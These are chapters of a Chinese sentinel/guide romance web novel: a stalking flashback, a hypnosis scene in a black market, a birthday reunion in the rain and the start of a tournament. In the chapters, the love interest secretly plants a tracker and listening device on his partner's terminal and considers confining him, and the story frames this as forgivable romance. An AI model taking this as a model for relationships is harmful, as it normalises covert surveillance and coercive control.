黎珞言回头看过去,这才发现这附近琳琅满目的都是各式各样的食物:“这是一条美食街吗?” 他舔了舔嘴巴,舌尖把沾到唇瓣上的奶油卷了回去。他扫到一家水果店,摆出来的盘子上盛放着被切割成十分漂亮的形状的水果,可见切削者的手艺有多好,手有多巧。 黎珞言拉着易谌往那边走,想要去买一盒尝尝。易谌却突然拉住了他,黎珞言歪头看他,他轻咳了几声:“等下——这里的东西不要乱买。” 黎珞言闻言立马就立正站好了,很听劝的模样,但还是奇怪地问:“为什么?” 易谌斟酌着说:“那家店的水果里有能够诱导哨兵和向导发.情的药剂。” 黑市里鱼龙混杂,很多店铺中都摆放着违.禁.品,为了防止被上城区偶尔派来检查的人查到,于是约定俗成地在招牌上做一些特殊标识,熟客对此都心知肚明。易谌以前常年混迹于黑市,因此对这些暗号也是一目了然。 黎珞言把嘴里的蛋糕块咽了下去,视线下移,看着易谌手上的甜点盒子,慢吞吞地说:“那这个……?” 易谌抬手轻轻弹了下他的额头,有些无奈地说:“这个没问题。” 黎珞言·无辜捂头版:“……哦。” 易谌把话语重新移到原来的话题上:“然后呢?发生了什么?” 黎珞言继续被中断的回忆,一边吃蛋糕,一边微微拧了眉:“然后我就觉得可能是我的错觉,找不到人我就不管了。但是——” 他想起以前的那些事情,眼里不禁闪过几分深切的厌恶,垂了眸,嘴上只将其一笔带过:“我的终端上时常收到一些乱七八糟的信息,来自于同一个陌生号码,我应该不认识这个人才对,但他却表现得好像很了解我一样。” 黎珞言咬住叉子,尖尖的牙齿在不经意间就将塑料叉咬出了一个小小的豁口。 他对这个事件的形容实际上已经相当委婉了,真实情况要比这恶劣不少。 那个时候黎珞言才十几岁,从执政官住所处搬出来后,一直住在尹祁青他们家里,因此他无论上学还是放学,基本都和奚元、尹惟形影不离。 他不记得自己什么时候和其他人有过交际了。由于十岁那年被关禁闭的事,他自从获得了能够离开家里的准许后,便有意地控制了自己和其他人交流的频率,将其控制到了几近于零。 除此之外,他也不像从前那样见了谁都弯弯眼笑,而是习惯性绷着一张冷脸,做出一副拒人于千里外的冷淡模样。 不过那个时候他还没有刻意去隐藏自己的终端号,只有一小部分从前就认识的人知道他的终端号,小范围的传播对黎珞言的生活没多大影响,毕竟鲜少会有看不懂眼色的人来打扰他。 但在那道一直在黎珞言背后隐秘注视着他的视线出现后,突然有一天,黎珞言的终端开始收到一些莫名其妙的信息。 第一次收到骚.扰信息的时候,黎珞言刚和奚元结束了过山车项目,飞车在爬坡后由于惯性从轨道上起飞,在空中滑了一段不短的距离,再准确无误地掉进了下一个坡,刺激得车上尖叫声连绵不绝。 黎珞言下来之后揉了揉耳朵,哨兵的听觉本来就要比常人敏锐些,更别提他本身等级就高,奚元在他耳边叫得让他感觉耳朵都快聋了。 尹惟刚买了两瓶冰水,从不远处朝他们扔来,黎珞言抬手准确无误接住一瓶,掌心感觉到冰凉的冷意,他犹豫了一下,自己最近有点感冒,但实在是口渴极了,他扭开瓶盖灌了几口。 他一边喝水,一边打开终端,准备看看这附近有什么好吃的店,却发现收到了好几条陌生消息,随手点开了,在看清上面的内容时,他面色微怔,有些呆愣。 【感冒了怎么还喝冰水?怎么这么不爱惜自己身体?】 哨兵的自愈能力一般都很好,或者说是他们一向比较能忍痛,因此鲜少有出一点小问题就去医院的情况。 黎珞言近来一直没有找向导给他做疏导,加之他自己的身体原因,身体状况有点差,不小心感冒了也正常。 他没告诉身边的人,觉得没必要让他们为这些微不足道的小事担心,只是在平时默默把喝冰水的习惯换成了喝温水,今天出来时也套了件薄薄的短袖外套。 黎珞言看到这条消息,眨了眨眼睛,一时想不出来谁会发这条消息给他。垂着眸,认真地慢吞吞打字:【你怎么知道我感冒了】 未知号码:【刚刚不是还在咳嗽?】 黎珞言想了想,他刚刚好像确实在过山车上咳嗽了几声,冷风灌得喉咙太难受了。 想到这儿,他下意识回头看向过山车。 已经开始下一轮了,上一批下来的人走了个七七八八,他看了一圈也没看见其中有自己见过的面孔。 他放在屏幕上的手指一蜷,犹豫着打字,【你是不是也在那趟过山车……】 他打字很慢,还没打完,那边便又跳过来一条消息。 【今天怎么戴了配饰,这不像你的穿衣风格。】 这套衣服是奚元买了之后硬塞进他衣柜里的,黎珞言今天出门顺手就穿了这套。这套衣服小配饰比较多,工装裤的腰间印着字母的黑色带子自然垂落,浑身散发着中潇洒的酷帅感。 但他此刻表情有些怪异,呼吸声变得缓慢,莫名生出一种有人在一直盯着他的错觉来。 他忽略这条消息,把自己没打完字的那条打完整后,发了出去。 那边秒回:【是啊,但你怎么不叫。不害怕吗?我还想听着你的声音睡觉呢。最近有点失眠。】 “梨子?” 奚元和尹惟说了会儿话,忽然注意到黎珞言把手里那瓶水捏得咔擦作响,不免出了声。 黎珞言眨了下眼,方才停滞几秒的呼吸才重新恢复正常。 抬眸和奚元对视的那瞬间,奚元凑过来试图看他的屏幕,他冷静地按灭了屏幕,没有表现出半分异常。 “你在和谁聊天啊?这么认真。”奚元红发从过山车上下来后就始终有点炸,他随意甩了甩头,用手抓了抓发型,问道。 “是老师发的消息。”黎珞言把终端收了回去,把今早上收到的消息复述了一遍,抿着嘴巴对奚元说,“他问我们两个这次假期能不能按时交一次作业,然后还问了我们能不能多向尹惟学习。” “噢,这个我也收到了,”尹惟唇角勾着笑,黑色高马尾中挑染着几缕蓝发,看起来很是放荡不羁,“行啊,你们多向我学习。” 奚元半信半疑地点开终端,居然真的在被忽略的短信行列里找到了老师给他发来的消息。 被催作业后,他捂面叹息,声音从指缝里闷闷地传出来:“那你做三份吧。” 尹惟撇了下嘴,张口就道:“滚蛋。” 黎珞言趁他们插科打诨的时候,掏出终端又看了一眼那人发来的消息。 ——短短的时间内,那人已经发了十几条消息过来了,现在还在继续发消息,就像是在轰炸他一样,黎珞言扫了一眼,手迅速往下滑,看了个大概。 【你真的好吝啬,平时都不和我多说一句话,我想听你的声音都只能动用一些麻烦的办法。】 【如果你能在平常多理一理我就好了,我真的很喜欢你,最近只有听着你的声音才能发泄出来,然后又听着你的声音睡觉。】 【但那些录音实在听了太多遍,我忍不住想听些新鲜的了。】 【怎么不回我了?】 【你怎么又开始和他们说话了?还对他们笑。梨子,你总是这样,你和他们的关系太亲密了……】 黎珞言皱着眉快速往下翻,翻到一张水杯的照片,手指一顿,这是他前段时间突然找不到了的杯子,他以为是自己不小心弄丢了。所以……原来是被人拿走了吗? 他两指放大看大图,发现背景是一个巨大的摩天轮,就在这家游乐园里。 黎珞言心里翻涌着一股隐隐的不适感,看着一个他根本不认识的人说着这些没有边界感的话,唤起了他一些不太好的记忆。 他定了定呼吸,抬眸,看了奚元和尹惟几秒后,弯了弯眼,冷静地说:“我去摩天轮那边看看。” 话音刚落,他也没等他们二人的回应,便迈步去了摩天轮的位置,一开始是走,过了会儿迈步的频率加快便成了跑。 他到达摩天轮附近时,来来往往的都是举止亲密的小情侣,扫了一圈仍然没有看见认识的面孔。倒是视线往下一扫的时候在花坛上看见了他的杯子。 他迟疑了下,走过去,拿起了自己丢失许久的水杯,但他隐隐约约嗅到一股奇怪的味道。——明明看起来是干净的。 他眉间微拧,手里拿着那个水杯,不知道是该放回去,还是细究一下那个味道是什么。他嘴紧抿着,眉宇显出几分不高兴,这是他的水杯,这个人偷偷拿了他的水杯,还不知道用这个水杯装过什么。 终端又跳出新消息:【还给你了。你现在有高兴一点吗?】 这人的口吻始终平静又亲昵,还透着点卑微,仿佛和黎珞言是关系要好的好友一般,但细看他所有的话,又能品出话语之下隐隐透露出来的癫狂感和诡异感。 黎珞言完全没有拿回自己的杯子的想法了,把杯子扔进了垃圾桶里,发出咣当一声响,冷着一张脸打字回道:【你是谁】 那边立即发来消息:【你扔掉了?为什么?】 【我还给你了,你为什么还不高兴?】 【梨子,我看他们都这样叫你。我也可以这么叫你吗?】 【我真的很喜欢你,你不要把东西扔垃圾桶里。】 【求你了,梨子,小梨。被我碰过的东西让你觉得恶心了吗?我每一次用完都会洗手、洗杯子。我洗得很干净的,一点也没留下。】 …… 洗手? 黎珞言慢吞吞眨着眼睛,有些疑惑,但他看着这句话停顿一会儿后,突然间联想到了先前奇怪的气味。一瞬间,他脑子里念头一闪,忽然反应了过来,想明白了对方用自己的杯子干了些什么。 一时间他的胃里十分难受,时不时涌起泛呕的感觉。 他现在也非常想找个地方洗手。 自那天起,不管黎珞言拉黑了那个号码多少次,第二天又会有新的号码给他发口吻一致、明显是出于同一人口中的话。 不知道是不是错觉,他感觉身后永远有一道视线在盯着自己,灼热又不可忽略,走路的时候也仿佛一直有人在跟踪自己…… 他承认自己的状态有受到影响,具体表现在不说话时表情更加冷淡了,连尹惟都看出了他最近眉眼间的浓烈的厌倦,问过他一回,但他摇了摇头表示没事,并不打算把这件事告诉尹惟他们。 他心觉这只是一件小事,没必要让大家都担心。 但有次他们约好了出去玩,尹惟却突然打电话来,说路上出了点问题,不知道为什么在半路上飞行器突然散架了,要不是她反应快当机立断从飞行器上跳了下来,现在就和飞行器一起报废了。 又说了她自己没多大事,不用担心她,她现在在处理飞行器的问题,让他们先玩。 奚元听完之后,便也想起了自己前两天的遭遇:“最近怎么都这么倒霉?我上回在广告牌下面等你,结果莫名其妙的牌子掉下来了,差点砸到我;想喝杯水压压惊,终端刚好响了给我打了个岔,手一抖洒了点在地上,我才发现是腐蚀性液体,还好没喝。” 他说完,无所谓地哈哈笑了两声,心态好得出奇,满满都是对自己死里逃生的骄傲与得意,黎珞言却笑不出来。 黎珞言突然想到了那个一直给他发骚扰信息的人,他脸色沉沉,紧抿着唇把拉黑名单中的一个号码放了出来:【我朋友最近的事,是你干的吗?】 终端那头的人就像是时时刻刻盯着屏幕看一样,没过几秒就回道:【他们离你太近了。】 黎珞言鲜少被气成这样,他额角都跳了起来,冷着一张脸,看起来格外唬人。 奚元不知道他怎么突然冷了脸,给他倒了杯冰镇果汁推到他面前,然后坐在他对面,一边洗牌一边抬眸看他。发生什么了这是? 黎珞言平复了下自己的呼吸,闭了闭眼,好一会儿才掀起眼皮,又看了一眼终端。 【梨子,求你了,离无关紧要的人远一点好吗?】 【我都快疯了。】 …… 后来这件事也不算被完全处理了,黎珞言对于这种棘手的情况毫无经验,但又不想连累到奚元和尹惟,于是最后把这件事告诉了执政官。 彻查之后,查出了对方的身份。 邬格,星际海盗的成员,卧底在联邦的具体任务不明。在黎珞言准备杀了他的时候,就跟那天和邬阳秋对峙一样,扳机扣动,子弹从枪□□出,却在那一瞬间人消失了。 * 黎珞言把来龙去脉简略地讲了一遍,他一路上一直被易谌投喂,低头抿住吸管,喝了口酸甜的柠檬汁,最后有些苦恼地拧了眉,慢吞吞地说:“我真的不认识他,我都不记得什么时候和他说过话了。” 想起那段经历,他眼里又闪过一丝厌烦。 易谌抓着果汁的手不自觉蜷了起来。比起吃醋、气愤等情绪,他心底升起来的第一个情绪竟然是恐惧。 他想起自己在黎珞言的终端里安的定位器和监听器,原先因此而镇定的心绪在此刻再次躁郁起来,担心黎珞言会因为他变态的行为同样厌弃他。 监听器他只是安装了,并没有启用过,但如果没有这个东西,他便会被一股浓烈的不安全感所包裹。 定位器倒是几乎每天都有使用,只要黎珞言不在他旁边,他就只有看着那个不动的红点才能安心。 他眼皮轻轻颤着,眸色漆黑沉沉,抬起眸,眼睛里只端端装了黎珞言一个人。他问了个很奇怪的问题:“你很讨厌别人监视你吗?” 黎珞言毫不犹豫地点了头:“当然。” 他垂了眼,想起那段时间骚.扰不断的信息,几乎将他整个人从头到尾地关注到了,忍不住皱了眉:“被人监视着的感觉很难受。” 易谌的眸光晃动了两下,在黎珞言眼里流露出疑惑、似乎是想问他为什么这么问的时候,他一把将黎珞言抱入了怀里。 手轻轻摸着黎珞言后脑勺的黑发,手腕上的黑蛇睁开了眼睛,吐出蛇信子若有似无舔舐黎珞言的后颈。 浓密眼睫下眼睛黑得透不进光,语气淡淡的,没什么情绪:“我以后不会再让别人有机会做这种事的。” 他自问,自己表现得也太过明显了,他应该……再隐秘一点的,至少不能像今天在巷子里找到黎珞言一样快。 只要不被发现就好了。 易谌的苍白手指搭在黎珞言的黑发中,唇轻轻擦着黎珞言的脸侧,用身体确定着他的存在。 第 69 章 “上次没打的那颗耳钉,…… 黑市里物品实在琳琅满目, 只有你想不到,没有这里买不到的。 黎珞言对这里的一切都感到新奇,向来懒散困倦的眼睛此刻兴致勃勃的。 易谌的终端突然响了一声, 他一只手与黎珞言十指紧扣, 另一只手都裤兜里摸出终端, 看了眼信息。 看清上面的内容后,他不由拧眉道:“白塔发布了新的通知,联赛的最终阶段赛恢复正常举行,时间定在了……一周后。” 黎珞言不知道什么时候在哪里搞了个拨浪鼓来,他握着鼓柄在易谌耳边欢快地摇了两下,鼓面被敲响发出咚咚响声。 易谌眼神涣散了一秒,旋即猛地晃了晃头, 从失神中回过神来。这声音有蛊惑人心的效果, 但看起来效果并不强,至少他很快就清醒过来了, 勉强可以作为某种玩乐的工具。 他垂眸看着黎珞言手上的拨浪鼓,半是无奈地问:“这是哪儿来的?” “是刚才那家店塞到我手上的,她说可以拿着玩玩。”黎珞言眨眨眼睛,指了指他们方才路过的那家店, 店老板是个长发卷卷的漂亮女人, 见他们看来, 便抬手朝他们挥了挥, 笑容里藏着种摄人心魄的魅力。 黎珞言弯着眼睛,直勾勾望着易谌, 仿佛只是随口一问:“你刚刚有什么感受?” 易谌想说没什么,然后把话题转到正事上去,嘴却先他一步张合了起来、发出声音:“脑子一瞬间变得空白了, 然后很快就清醒了。” 说完这句话后,易谌的瞳孔骤缩,确实是他在说话无疑,声音也是他的声音,但却显得木然,一板一眼的。 他看着黎珞言手上的拨浪鼓停顿了好一会儿,然后又抬眸看向黎珞言,嗓音冷淡低沉,似乎并没有因为方才的失控感到焦躁不安,神情十分平静,笃定道:“这个能催眠。” 黎珞言声音轻轻的,也低眸看着手上的拨浪鼓:“是吗?” 他又看向易谌,这一次眼睛虽然是弯着的,但细看却看不见他眸中的情绪。他唇瓣一张一合,慢吞吞地说:“易谌,你到底是怎么找到我的呢?” 原本早已被易谌掠过的话题,在这么措不及防的时候又被黎珞言提了起来,让他一瞬间忍不住想,黎珞言从一开始就知道这个拨浪鼓有催眠功能,刚才仅仅是在试探他。 试探他什么呢? 易谌的嘴不受控制地张合,他额角浸着点冷汗,却仍旧阻止不了溢出的音节,像是卡顿的音响,一个音节一个音节地往外蹦:“我在你的终……” 关键时候他猛地咬住了自己的舌头,鲜血在舌尖沁出,铁锈味充斥着口腔,尤其是在那一瞬绽开的疼痛感,让他额角凝成的冷汗瞬间滚落了下来。 黎珞言看着他没有说话,干净澄澈的绿眸里倒映着他的身影。 易谌胸膛剧烈起伏着,眼睫不正常地颤着,漆黑的眸子里情绪翻涌。他知道他做错了事,但黎珞言不能知道。 他清楚地看见了黎珞言在讲述之前被人尾随骚扰的事情时眼里藏不住的厌烦,即便只是简要带过,也能感受到黎珞言对那人的反感。 他咬住了舌头,竭力控制自己的不受控的唇舌,血腥味越来越浓郁。 “你……”黎珞言好像是想说什么,但望着他看了一小会儿,却抬手帮他擦过了脸上的冷汗。 ——不知道是疼痛导致的,还是心虚恐惧等情绪占了上风。 易谌知道自己现在漏洞百出,但他还是努力与那股强迫自己开口的力量抗争着,似乎只要不亲口说出来,就能代表他没有做那些事似的。 黎珞言随意晃了晃拨浪鼓,听见鼓面被敲击的声音响起后,他弯了下唇,将方才的话题跳了过去,开口道:“你刚才说联赛的下一阶段赛要开始了?” 易谌这下没有再感受到方才唇舌自己动的感觉了,看来是解除了方才的催眠,他看着黎珞言手上的拨浪鼓,从喉腔里发出闷闷的一声“嗯”。 黎珞言试探他?为什么要试探他?他是在怀疑他了吗? 他脑子里被杂乱的思绪堵满,一时半会儿根本理不清楚,一会儿想到黎珞言对他不信任,他们会不会很难长久下去,一会儿又想到黎珞言知道他按了定位器、监听器之后的后果会是什么,也会对他露出那种厌恶的表情吗? 一想到这里,易谌的心脏突然抽痛了一下,仿佛被棉花塞满难以得到呼吸的气口。 忽然两根手指探入了他的唇,强硬地撬开了他紧闭的齿关,同时也骤然打断了他繁杂的思路。 黎珞言骨节分明的两根手指卡着他的牙齿,让他合不上嘴,只是张着任他动作,然后指腹轻轻点在受伤的舌尖。对于口腔内壁来说,手指的温度实在偏低了,有种冰凉镇痛的感觉。 “你不要咬自己。”黎珞言说话缓慢,但每一个字都说得很认真。他不知道易谌这种一激动就把自己嘴巴咬得这儿烂一块那儿烂一块的习惯是哪里来的,但坏习惯就应该被纠正。 如果是往常,易谌会用舌头故意勾缠住他的手指,但此刻他却感觉全身都有些失力,脑子像是泡在水里一样混沌不清。他甚至都不知道黎珞言是什么时候把手指缩了回去。 “我们过几天就回上城区吧,联赛要开始了。”黎珞言就好像忘记了方才的事情,语气轻松地说。 易谌却不会因为三言两语就觉得这件事已经揭过了。 他们仍旧紧紧牵着对方的手,在黑市里逛着,但易谌看着黎珞言的时候,眸色凝滞,认真想着,如果黎珞言真的对他露出厌恶的表情的话,他能把他关起来吗? 或者换句话说,即便有这样的机会,他真的会这么做吗? 易谌闭了闭眼,想起黎珞言说自己最讨厌被监视的那些话…… 如果给他机会的话,他真的会做黎珞言最讨厌的事吗?——他想把黎珞言永远留在自己身边的话,在下城区的这几天,就是最好的机会。 * 在回上城区之前,他们还会在这边待上三天。 易谌这三天时常陷入思索,俨然心里装满了事情。但他还记得第三天是黎珞言的生日。——是在当初匹配时的身份信息里写着的。 他一开始并不在意这人的资料,但从联赛里出来之后,他在家里一个人待着,脑子里总想着另一个人,于是又去匹配库重新下载了一份仔细研读,几乎连上面的每一个字都能原封不动地背下来。 关于之前突然冒出来的想法,他自己也不确定……他也不知道自己在想什么了。他想要随时随地每时每刻都能看见黎珞言,但又不想违背他的意愿让他难过。 易谌没给别人过过生日,也不知道过生日的人想要收到什么礼物,但他最近星币少得可怜,如果拿这点钱买个礼物,他实在觉得配不上富养长大的哨兵。 不知不觉间就到了第三天,易谌还是没想好要送他什么,心里隐隐绰绰的囚禁心思还在若隐若现,似乎想要冒芽。 但在他睁开眼睛,发现身边空了的时候,这些乱七八糟的心思在瞬间烟消云散。他找了一圈也没有在旅馆房间里找到黎珞言,心脏停滞了一瞬,旋即便剧烈地跳动起来。 终端响了十遍也无人接听,随着最后一声停止后自动挂断,易谌的眸色越来越沉,脸色也阴沉得仿佛能滴水,气质看起来格外吓人,散发着强烈的危险性和侵略性。 他看着显示定位的图标,手指悬在空中,仿佛是在做某种挣扎。最后他缓缓舒出一口气,在自己控制不住看定位之前,把屏幕按灭了。黎珞言不喜欢自己监视他,那他也可以不监视…… 易谌艰难地做出决定,作为黎珞言板上钉钉的未婚夫,他应该留给对方更多的自由时间。 他没有选择直接用定位去找,而是循着黎珞言可能会去的地方一点点找去。 …… 天空被乌云遮住了,厚重的云昭示着会下一场暴雨,易谌仰头看天,回到旅馆后仍没有见到黎珞言的人影,他心里担忧的情绪最终占了上风,还是点开了那个图标,看着上面一动不动的小红点。 * 雨很快下了起来,黎珞言坐在屋顶上面,双腿悬空在空中随意荡了荡,然后弯了弯眼睛。 豆大的雨水拍打在他的脸上,黎珞言头发被淋湿透了,被他一把往后捋去形成背头的模样,露出了光洁的额头,姣好俊朗的五官在雨水的冲刷下反而愈发勾人了,碧绿的眸子湿漉漉的,像是含了汪晃荡的春水。 他坐在了个很高的位置,从这里往下看可以看见下城区的许多缩略景,他丝毫不害怕这个高度,也不在意雨水会弄脏自己的衣服,径直躺了下去,闭上眼睛,似乎是在这种危险的地方睡觉。 忽地他听见了熟悉的脚步声,但要比平时的步伐更重些,凌乱了些。于是黎珞言睁开了眼睛,看着撑着伞朝他奔来的易谌, 易谌的身影在他绿色的眼睛里倒了过来,他扬起唇,嗓音清亮,但连绵不绝的雨声使得他的声音有些暧昧不清:“易谌,你怎么在天上走?” 孩子气,又幼稚的话语从他口中说出。 易谌放慢了脚步,一步一步朝他走近,手上的伞却快身子一步撑到了黎珞言身上,帮他挡住了豆大的雨点。 他弯了弯唇,冷峻的面容有所松动:“生日快乐,黎珞言。” 他一路上跑得很快,即便撑着伞,风也把雨全吹到了他的身上,身上衣服都湿了。 黎珞言的衣服则更湿,他要任性地躺在有雨水的地上,于是现在连后背都是冰凉一片的,坐直身子后,衣服便粘连在皮肤上,十分让人不舒服。 易谌扯了扯他的衣服,眉头紧皱着,问道:“要先脱掉吗?” 黎珞言摇摇头,抬眸时眼睛湿漉漉亮晶晶的,像是碎星都洒进了眼睛里一样,仰着脑袋望他:“易谌,我们是心有灵犀吗?” 易谌听出他是指自己能找到他这件事,但他看着这双眼睛,很难面不改色地撒谎。 他拳头握紧了下又松开,伞被风刮得作响、摇摇晃晃,易谌咬了咬牙,逼迫着自己说出实话:“对不起,我……我们没有那么有默契……是因为我在你的终端里安了……” 每一个字他都说得极其艰难,像是从牙缝里挤出来的。 黎珞言突然打断他:“我知道。” 易谌沉默了片刻,和黎珞言对视了好一会儿后,他说:“你不生气吗?” 他手上那把伞把黎珞言整个人牢牢罩住,自己却不知道在什么时候跑到了伞之外,雨水淋湿他高挺的鼻梁,顺着苍白的皮肤往下淌。 黎珞言站起了身,平视着易谌,他的手握住易谌握伞的那只手,然后一根根掰开他的手指,伞因脱力摔落到了一旁,发出啪嗒一声,黎珞言的手指挤进了易谌的手指之间。 他嘴唇被雨水浸得红艳,说话时唇齿间的舌头湿红,他喊道:“易谌。” 易谌收紧了手,将他紧紧抓在自己手里,闻声也直直看向他。他想,今天的雨有些大了,要不然他现在怎么会大脑一片空白。 黎珞言凑近贴近了他的唇,滚烫湿红的舌头细细舔过他的唇瓣,易谌瞳孔骤缩。 “我好像有点双标,”黎珞言自我反省着,他另一只手摸到了易谌的后脑勺,扣紧他再次吻了上去,在雨天里格外温热的吐息打在易谌的脸上,他的吻轻而细密,并不用力,带着清甜的味道。 黎珞言自顾自就给他找好了理由:“你要每一次都找到我的话,当然要用一些特殊的办法。” 易谌漆黑的眸子里似乎被勾起了欲.火,他心脏震得快要从胸腔里跳出来了,原本大而喧嚣的雨声在此刻都成了背景音。 …… 雨声渐渐停了,黎珞言和易谌却还在这个废弃房屋的屋顶上。 “……抱歉我还没给你准备生日礼物。” 易谌本来准备今天选出合适的礼物,但从一起床开始,他就把时间耗在了更重要的事上。而他现在找到黎珞言了,礼物却是一团空。 黎珞言眨了下眼睛,把浓黑睫毛上挂着的那颗雨水眨了下去,眼睛像是被水洗过一样亮。他扯住自己的衣角,把浸了水的短袖干脆利落脱了下来,拿在手上一扭还能扭出水来。 年轻哨兵上身漂亮的肌肉就这样显露在了外面,经过锻炼的身体肌肉十分流畅,皮肤又白皙,兼具了力量感和美感。 易谌的呼吸有些急促,动作僵硬,黎珞言拉着他们相握的那只手,让易谌的掌心毫无遮挡地贴在了皮肤之上。 易谌还能感受到手掌心下触摸着的形状,眼睛紧紧盯着那处,像是锁定了猎物的蛇一般,侵略性毫不掩饰地释放出来。 黎珞言贴近他的身体,一只手搂着他的腰身,把下巴搁在他宽阔的肩上,清亮的嗓音被压低之后显出几分性.感:“上次没打的那颗耳钉,你要不要现在给我打上?” “算作生日礼物。” 第 70 章 这是需要贴身保存的物品…… 易谌以为上次黎珞言糊弄过去了, 这件事就没有后话了,但他没想到黎珞言居然随身带着耳钉盒。 耳钉盒被打开,里面还有一枚亮闪闪的翡翠绿耳钉。 “你认真的?”易谌张了张嘴, 干涩道。 他的额发还在往下滴水, 脸上也是未干的雨水, 被他随意擦掉了,眉眼漆黑深沉,望着黎珞言的眼睛。 得到黎珞言肯定的回答后,他喉结滚动了一下,用自己的衣服仔仔细细把黎珞言胸口湿润的雨水擦掉了。 他手里拿起了那枚耳钉,手指捏紧了,看着黎珞言润白的皮肤, 从心脏的位置延伸的一条淡粉色的长条伤痕。呼吸翻涌, 突然没头没尾来了一句:“你冷吗?” 易谌手上拨弄着,感受着逐渐泛上粉意的胸膛起伏的节奏, 忽然黎珞言伸手攥住了他的手腕,眼睛湿漉漉的,说话慢吞吞的,被呼啸的风声一遮掩, 就跟撒娇似的:“直接来吧……你搞得我都热了。” 黎珞言下身还穿着浸了脏雨水的长裤, 上身赤.裸着, 很青涩却又健康充满力量感的、一看就属于哨兵的身体, 他这样抿着嘴巴,一双水润的眼睛紧紧盯着易谌看, 看起来像是被淋湿的小狗。 易谌喉头一紧,再开口时声音沙哑了些:“疼的话可以咬我。” 黎珞言感受到他的反应后,歪了下头, 垂眸扫了一眼,看清之后眨了下眼,他摸了一下作为安抚。 易谌腰瞬间弓起了弧度,握着的耳钉差点就一个手抖刺歪了位置,他眉头微拧,手下用力捏了对方一下,嗓音平静低沉:“别闹,我手会抖的。” 黎珞言:“哦——” 耳钉尖比对好位置,易谌的手很稳,干净利落地用力将其刺穿,溢出一点鲜红的血珠。 易谌黑沉的瞳孔里映入一点血色,让他兴奋得头皮有些发麻,面色却始终保持着一如往常的冷淡,只有瞳孔中跳跃的血色暴露了他真正的心绪。 忽然间,他眸中出现了一丝错愕的情绪。 他说的是疼可以咬他,黎珞言却在感受到了疼痛之后用力扣住他的后脑勺,吻住了他,那对小尖牙咬住了他的嘴唇。 ——不像是在接吻,倒像真的只是咬人分担疼痛。 易谌大睁着眼睛,黎珞言垂着眸,顺着睫毛往下往下滴的不知道是雨水还是疼出来的眼泪,总之易谌看得心绪一震,心脏跳得飞快,抬手用手背拂去了黎珞言的眼睫上的水珠。 温热的水落在他的手指上,易谌被牙齿尖利的哨兵咬着嘴巴,眼睛却分神瞥着自己手指上的水珠,眸色晦暗深沉,不知道在想什么。 黎珞言突然抽离了一瞬,红润的嘴巴一张一合的,有些奇怪道:“你心脏怎么跳得这么快?” 易谌:…… 他垂了眸,密而长的睫毛遮住了眸里一闪而过的笑意。他听着黎珞言嘟嘟囔囔讲着写破坏气氛的话,过了几秒重新吻了上去,重重堵住了黎珞言不停说话的嘴巴。 * 他们在黑市玩了几天之后,就回了很快到了联赛再次开始的日子。 参赛的哨兵向导又被要求着站在露天场地听规则,一个个把头低着,太阳晒得人汗水直流。 黎珞言穿的战术服,手上戴着护腕,手腕上还缠着条小黑蛇,物理上给他降温。打在那地方的耳钉让他感觉有点怪怪的,走路时一直被上衣磨着,有种说不出来的感觉,总让他怀疑薄薄的短袖会随着他走动的动作突起一个一点。 因此这么热的天,他出门前还套了件外套遮掩。 他摸了摸自己裤兜,摸到里面装着的东西,抿了抿嘴,耳根有点薄红。 今天出门之前,易谌在玄关处拉住他让他等一等,绷着一张俊脸一言不发地给他塞了一小瓶自己的血之后,又故作淡定地给他一个薄薄的方形东西。 易谌是背面朝上给他的,黎珞言茫然地接过,一翻开,发现是张照片。 ——照片上左边的男生紧闭着眼睛,正侧卧着,右耳上一颗银色的耳钉,因窗外透进来的太阳光折射出爆闪的光,鼻梁高挺,眉骨优越,但他对自己的魅力无知无觉,安然舒心地睡觉。 右边的男生单手撑在床上,俯身,唇珍重又轻柔地贴在那人的唇角,看着哨兵安静的睡颜,冷峻的面容柔和无比,连眸里都浸上了几分温柔。另一只手举着终端,拍下了这张照片。 黎珞言看着那张照片,脑子里的话在“你怎么偷偷亲我”和“给我照片是做什么”之间来回反复跳转,最后他抬起眸,朝着易谌脱口而出:“我会好好保存的。” 他语气认真,就像是在做一个承诺一样。 易谌挑眉道:“你怎么不问我为什么要拍这张照片?” 黎珞言停顿了下,依葫芦画瓢:“你为什么要拍这张照片?” “表示一下我们感情很好,”易谌唇角勾了勾,也捏住了照片一角,带着他的手一起移动,在滑至胸口时,胶质照片若触若离地刮了一下穿了耳钉的部位,黎珞言猛吸了一口气,脖颈泛上大片的粉色,有些无辜地看向易谌,仿佛是在问他做什么。 “贴身保存。”易谌说。 …… 想到这里,黎珞言缓缓舒出一口气,有些不解地想,明明易谌也打了一边,怎么表现得就跟没事人一样。耳钉穿在那里,他一直起腰就感觉被衣服的布料摩擦着端处,怎么着都难受,总有种别人能看见的错觉。 黎珞言把外套往里拢了拢,撕拉一声拉上了拉链,黑发半遮半掩下的耳朵尖通红,听着上面的老师说着规则。 这一阶段赛同时也是最后一阶段赛,比赛排名就代表了最终的结果。这一场是淘汰赛,以两种方式评判出输赢,一种是在规定时间结束时存活人数最多的小队,按照存活人数确定排名,另一种是在规定时间还未截止前只剩下了一支队伍,则按照其他每队最后一名队员的淘汰先后顺序确定排名。 所有人禁止带任何东西入场,联邦提前在在污染区放置了部分物资,先到先得,没有任何规则限制。 每位进入污染区的成员依旧需要佩戴腕表,淘汰后会被自动弹到医疗舱内,作为一种防护措施。 这次不像上一次那么轻松,不再顾忌星网普通观众的接受能力,而是终于恢复到了联赛以往的强度,将赛区定在了靠近污染区深处的位置。 每个人都分开进入赛区的,并不按照队伍一同进入。 黎珞言上交自己身上的所有东西时,竭力绷着一张淡定的脸,拿出装血的小瓶子和一张亲密的照片,迎着齐泽探究的眼神,他坚决不抬眼,垂着眸认认真真把自己的物件端正放进小盒子里锁好,然后目不斜视地离开。 齐泽在来之前收到了执政官的通知,他对执政官是完全拥护且崇拜的,于是执行着执政官交代的任务——观察一下黎珞言的状态。 短短一分钟,他倒是观察完了,没觉得和之前有什么差别,硬要说的话,在大热天穿了件外套,还把拉链拉到了最上端……这算不算异常? 不管了。 他事无巨细地将其汇报给了执政官阁下,最后想了想,又补充道:【小黎少爷和他的未婚夫感情非常好,好到离开一小会儿都舍不得,还把对方的照片随身携带。】 执政官前面的都回了,但这句过了半晌都没回。 齐泽便收了终端,继续检查其他人上交身上物品的情况。等他忙完这一阵了,才又看了眼终端,执政官回他了,一如既往简洁明了的话语。 执政官阁下:【那很好。】 * 黎珞言落地的时候,左右张望了下,不知道自己现在这是在什么地方。 但他有一张碎片地图。——是上一阶段赛冠军获得的奖励。前三名能够获得不影响游戏平衡的适当奖励,奖励内容对其他队伍保密。 